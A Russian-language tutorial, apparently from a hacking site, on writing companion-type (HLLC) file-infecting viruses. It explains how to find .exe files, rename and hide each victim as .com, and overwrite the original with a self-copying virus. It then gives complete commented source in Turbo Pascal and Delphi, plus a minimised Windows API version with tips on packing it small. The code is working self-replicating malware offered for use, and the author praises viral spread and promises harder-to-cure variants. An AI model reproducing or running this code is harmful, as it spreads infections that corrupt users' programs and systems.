Алгоритм заражения такой: - Ищем файлы с расширением .ехе, именно их мы и будем заражать. - Если находим .ехе проверяем наличие файла с таким же именем, но расширением .сом, если такой файл есть - значит уже заражено, если нет - значит заражаем. - В первом варианте что бы заразить, нам достаточно просто скопировать себя в папку с жертвой, с её именем, но расширением - .соm, во втором случае, мы сначала переименуем расширение жертвы на .соm, а затем копируем себя с именем жертвы. Так же для обоих случаев заражения необходимо поставить жертве атрибут - скрытый. - После того как жертвы кончились (заражено всё, либо необходимое количество), необходимо проверить, запущен ли вирус в свободном виде, или у него есть жертва, если жертва. Для этого нужно глянуть своё имя и наличие файла с таким же именем, но расширением .соm в текущем каталоге, если нет – завершаем работу, если есть – запускаем файл, завершаем работу. . Если вы внимательно читали и всё нормально втыкнули, то вам стало ясно, что этот тип вируса сохраняет работоспособность заражённой программы, хотя и находится с жертвой в разных телах, что является его основным недостатком, в силу крайне простого лечения.
Т.о. вирус состоит из четырёх частей: - Процедура заражения. - Процедура поиска жертв. - Функция проверки зараженности - Функция запуска жертвы
Хочется сделать небольшое отступление и отметить, что многие люди любят спрашивать: «А что делает вирус??», имея, конечно же, ввиду: «Как вирус пакостит?», но на самом деле, это довольно глупо, т.к. пакости (деструктивные функции) - не являются основным отличием, особенностью или назначением вирусов. Главная цель вируса – выжить, в трудном компьютерном мире, дать приплод и, как следует, распространиться. А всякого рода хищение, порча и издевательства – это рухлядь, и в ней нет столько интересного, как в созидании появления, пусть и компьютерной, но всё же, новой самостоятельной, жизни... О как зажёг.))) Хотя вернёмся к нашим баранам...
. Процедура заражения файла идентична, HLLO, принципиальная разница кроется в том, что процедура поиска жертв не скармливает этой, опасной для файлов процедуре, файлы, а лишь дает путь самокопирования с определённым именем. В общем я привожу оба исходника вирусов, с комментариями, думаю, у вас не возникнет проблем с их пониманием. Вирусы, заражают, по второму, по описанию методу, т.к. первый метод, больше актуален для DOS.
На Turbo Pascal:
{$M 65520,0,0}{Выделяем память под источник} uses dos; const VirSize = 3920;{размер вируса}
Procedure Infect(path:string);{Путь к заражаемому файлу} var FromF : file;{Файловая переменная для файла источника} ToF: file;{ Файловая переменная для файла для заражаемого файла} NumRead : Word; Buf: array[1..VirSize] of Char;{Буфер для чтения виря и его записи, равна размеру виря, для переноса за один раз} begin Assign(FromF, ParamStr(0)); {Ассоциируем переменную с путём к себе– т.е. себя))} Reset(FromF, 1);{Открываем себя} Assign(ToF, path); {Ассоциируем переменную с путём к жертве} Rewrite(ToF, 1);{Открываем с перезаписью жертву} BlockRead(FromF, Buf, SizeOf(Buf), NumRead);{Читаем себя в буфер} BlockWrite(ToF, Buf, NumRead);{Пишем буфер в файл} Close(FromF);{Закрываем себя} Close(ToF);{Закрываем жертву} end;
var sr,sr1:searchrec;{Поисковые переменные} d,d1:dirstr;{переменная пути к файлу} n,n1:namestr;{переменная имени файла} e,e1:extstr;{переменная расширения файла} f:file;{Файловая переменная} begin fsplit(paramstr(0),d,n,e);{Раскладываем путь к себе на путь к папке, имя файла и расширение} findfirst('*.exe',$39,sr); while doserror=0 do{Ищем до тех пор, пока не найдём все файлы или не случится ошибка} begin fsplit(sr.name,d1,n1,e1);{Раскладываем путь к найденому файлу на путь к папке, имя файла и расширение} findfirst(n1+'.com',$39,sr1);{Проверяем заражение} if (sr.name<>n+e) and (sr1.name='') then{Если фвйл не заражен и найденый файл не вирус в чистом виде то..} begin Assign(f,sr.name);{ассоциируем путь к найдоному файлу с файловой переменной} rename(f,n1+'.com');{переименуем расширение файла} infect(sr.name);{копируем себя с именем найеного файла} end; findnext(sr);{ищем следующий} end; exec(n+'.com','');{по окончанрию поиска, заражаем жертву, если она есть} end.
Теперь, то же самое только на Delphi.
program hllc; uses sysutils, windows;
const VirSize = 43008;///Размер вируса
Procedure Infect(path:string); var FromF : file; ToF: file; NumRead : integer; Buf: array[1..VirSize] of Char; //Буфер FM:word; //Переменная для сохранения FileMode begin FM:=FileMode;//сохраняем FileMode FileMode:=0;//Режим работы с файлом - только чтение AssignFile(FromF, ParamStr(0));//Ассоциируем к с путём к себе Reset(FromF, 1);//Открываем себя BlockRead(FromF, Buf, SizeOf(Buf), NumRead); CloseFile(FromF);//Закрываем себя FileMode:=2;//Режим работы с файлом - только запись AssignFile(ToF, path);//Ассоциируем с путём к файлу Rewrite(ToF, 1);//Открытие с перезаписью BlockWrite(ToF, Buf, NumRead);//Пишем буфер CloseFile(ToF); //Закрываем жертву FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру end;
var FR : INTEGER; sr:tsearchrec;{Поисковые переменные} f:file;{Файловая переменная} begin FR:=FindFirst('*.exe',faAnyFile-faDirectory,SR);{ищем файлы с любым именем, атрибутом и расширением} while FR=0 do {Повторяем до появления ошибки, в нашем случае - больше нет файлов} begin if (not FileExists(SR.Name+'.com')) and (ExtractFileName(paramstr(0))<>sr.Name) then{Если файл не заражен и найденный файл не вирус в чистом виде то..} begin AssignFile(f,SR.Name);{ассоциируем путь к найденному файлу с файловой переменной} rename(f,SR.Name+'.com');{переименуем расширение файла} infect(SR.Name);{копируем себя с именем найденного файла} end; FR:=findnext(SR);{ ищем следующий } end; winexec(PChar(paramstr(0)+'.com'),1);{по окончанию поиска, заражаем жертву, если она есть} end.
Как видите размер у вируса весьма большой, сейчас мы попробуем написать HLLC вирус на micro-Delphi, о котором я говорил в предыдущем уроке. Вот исходник, вируса HLLC который после упаковки fsg2 весит 1525 байт, что в 28 раз меньше чем без применения методик сжатия.
Program VirusHLLC;//Пример HllC вируса на Delphi (xakep.su)
const //Необходимы константы, перенесены из модуля Windows
VirSize = 4096;//Размер вируса При упаковке fsg2 размер составит 1525 байт FILE_ATTRIBUTE_NORMAL = $00000080; SHELL32 = 'shell32.dll'; FILE_SHARE_WRITE = $00000002;//Атрибут записи FILE_ATTRIBUTE_READ = $00000001;//Атрибут чтения KERNEL32 = 'kernel32.dll'; MAX_PATH = 260;//Максимальная длина пути CREATE_ALWAYS = 2;//Открыть новый GENERIC_READ = $80000000; GENERIC_WRITE = $40000000; OPEN_EXISTING = 3; TRUNCATE_EXISTING = 5;//Открытие с перезаписью ATTR_DIR = $00000010;//Атрибут директории FILE_SHARE_READ = $00000001;//Чтение из файла
type //Типы необходимые функции CreateFile, перенесены из модуля Windows POverlapped = ^TOverlapped; TOverlapped = record Internal: Cardinal; InternalHigh: Cardinal; Offset: Cardinal; OffsetHigh: Cardinal; hEvent: Cardinal; end; PSecurityAttributes = ^TSecurityAttributes; TSecurityAttributes = record nLength: Cardinal; lpSecurityDescriptor: Pointer; bInheritHandle: Boolean; end; PathBuf = array [0..MAX_PATH] of char;//Буфер пути к файлу
TFileTime = record //Запись передачи даты и времени dwLowDateTime: INTEGER; dwHighDateTime: INTEGER; end;
FindRec = record //Запись в которую возврящаются параметры поиска файлов dwFileAttributes: INTEGER; //Атрибуты ftCreationTime: TFileTime; //Время создания ftLastAccessTime: TFileTime;//Время последнего обращения ftLastWriteTime: TFileTime; //Время последнего изменения nFileSizeHigh: INTEGER; //Размер реальный nFileSizeLow: INTEGER; //Размер на диске dwReserved0: INTEGER; //Резерв dwReserved1: INTEGER; //Резерв cFileName: PathBuf; //Полное имя файла cAlternateFileName: array[0..13] of AnsiChar;//Имя файла в формате 8.3 end;
function CreateFile(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: INTEGER; lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: Cardinal; hTemplateFile: INTEGER): INTEGER; stdcall; external KERNEL32 name 'CreateFileA'; //Создает или открывает файлы (объекты) и возвращает Хендл (handle), для получения доступа к объекту function ReadFile(hFile: INTEGER; var Buffer; nNumberOfBytesToRead: INTEGER; var lpNumberOfBytesRead: INTEGER; lpOverlapped: POverlapped): BOOLEAN; stdcall; external KERNEL32 name 'ReadFile'; //Чтение из файла (объекта) function WriteFile(hFile: INTEGER; const Buffer; nNumberOfBytesToWrite: INTEGER; var lpNumberOfBytesWritten: INTEGER; lpOverlapped: POverlapped): Boolean; stdcall; external KERNEL32 name 'WriteFile'; //Запись из файл (объекта) function CloseHandle(hObject: INTEGER): Boolean; stdcall; external KERNEL32 name 'CloseHandle'; //Закрытие файла (объекта) function GetModuleFileName(hModule: INTEGER; lpFilename: PChar; nSize: INTEGER): INTEGER; stdcall; external kernel32 name 'GetModuleFileNameA'; //Считывает полное имя маpшpута (заканчивающееся пустым символом) исполнимого файла для указанного модуля function FindFirstFile(lpFileName: PChar; var lpFindFileData: FindRec): integer; stdcall; external kernel32 name 'FindFirstFileA'; //Поиск первого файла в указанном каталоге по маске function FindNextFile(hFindFile: integer; var lpFindFileData: FindRec): BOOLEAN; stdcall; external kernel32 name 'FindNextFileA'; //Поиск следующего файла в сессии начатой FindNextFile function lstrcmp(lpString1, lpString2: PChar): Integer; stdcall; external kernel32 name 'lstrcmpA'; //Сравнение переменных function lstrlen(lpString: PChar): Integer; stdcall; external kernel32 name 'lstrlenA'; //Определение дляны строки function lstrcpy(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcpyA'; // Копиpует lpString2 (включая пустой символ) в lpString1. function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external kernel32 name 'lstrcatA'; //Сцепляет lpString1 с lpString2. function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external kernel32 name 'WinExec'; // Выполняет прикладную задачу, указанную паpаметpом CmdLine function CopyFile(lpExistingFileName, lpNewFileName: PChar; bFailIfExists: BOOLEAN): BOOLEAN; stdcall; external kernel32 name 'CopyFileA';
Procedure CopyData(ToF : PChar); var pch : PathBuf; B : INTEGER; F : INTEGER; Buf : array [1..VirSize] of Char; begin GetModuleFileName(0, pch, MAX_PATH);//Определяем путь к себе F:=CreateFile(pch, GENERIC_READ, 1, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); //Открываем себя ReadFile(F, Buf, VirSize, B, nil); //Читаем себя в буфер CloseHandle(F); //Закрываем себя F := CreateFile(ToF, GENERIC_WRITE, CREATE_ALWAYS, nil, TRUNCATE_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); //Открываем жертву с перезаписью WriteFile(F, Buf, VirSize, B, nil); //Пишем буфер в жертву CloseHandle(F); //Закрываем жертву end;
function CheckMyName(path:pchar):boolean; var pch : PathBuf; i : integer; begin result:=false; GetModuleFileName(0, pch, MAX_PATH);//Определяем путь к себе for i:=lstrlen(pch) to 0 do if pch[i]='\' then break; //Обределяем позицию последнего символа \ в строке пути к файлу if lstrcmp(path,@pch[i+1])=0 then Result:=true; //Сравниваем end;
function FileExists(path:PChar):boolean; var i : integer; begin i:=CreateFile(path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); //Открываем существующий файл для чтения if i=-1 //если -1 значит ошибка, значит файла не then Result:=false else Result:=true;//файл есть end;
procedure FindFile; var H : integer; R : FindRec; pch : PathBuf; NewName : PathBuf; begin H:=FindFirstFile('*.exe',R);//Поиск по маске *.exe //Ищем все файлы в заданном каталоге с заданной маской while H<>0 do //Ищем пока все не найдём begin Lstrcpy(NewName,#0); //Очистка и инициализация переменной LStrCat(NewName,R.cFileName);//Прибавляем строку имени файла LStrCat(NewName,'.com');//Прибавляем .com if ((R.cFileName[0]<>'.') or (R.cFileName[1]<>'.')) and not CheckMyName(R.cFileName) and not FileExists(NewName) then//Если не папка и не свой файл и если не заражено то.. begin CopyFile(R.cFileName,NewName,true); //Копируем жертву с новым именем CopyData(R.cFileName);//Заражение end; if not FindNextFile(h,R) then break;//Ищем дальше end; GetModuleFileName(0, pch, MAX_PATH);//Определяем путь к себе Lstrcpy(NewName,#0);//Очистка и инициализация переменной LStrCat(NewName,pch);//Прибавляем путь к себе LStrCat(NewName,'.com');//Прибавляем .com winexec(NewName,1);//Запускаем жертву, если есть end;
Begin FindFile;//Вызов поиска end.
Вот и весь вирус.. Я думаю, что на этой статье обсуждение HLLO и HLLC вирусов, будет закрыто, далее мы будем писать и совершенствовать вирусы типа HLLP, они значительно интересней и гораздо трудней лечатся, имеют массу фишек и возможностей, о которых мы будем подробно беседовать на следующих уроках. Не забываем, о исключительно учебном применении, данного материала.
xakep.su
|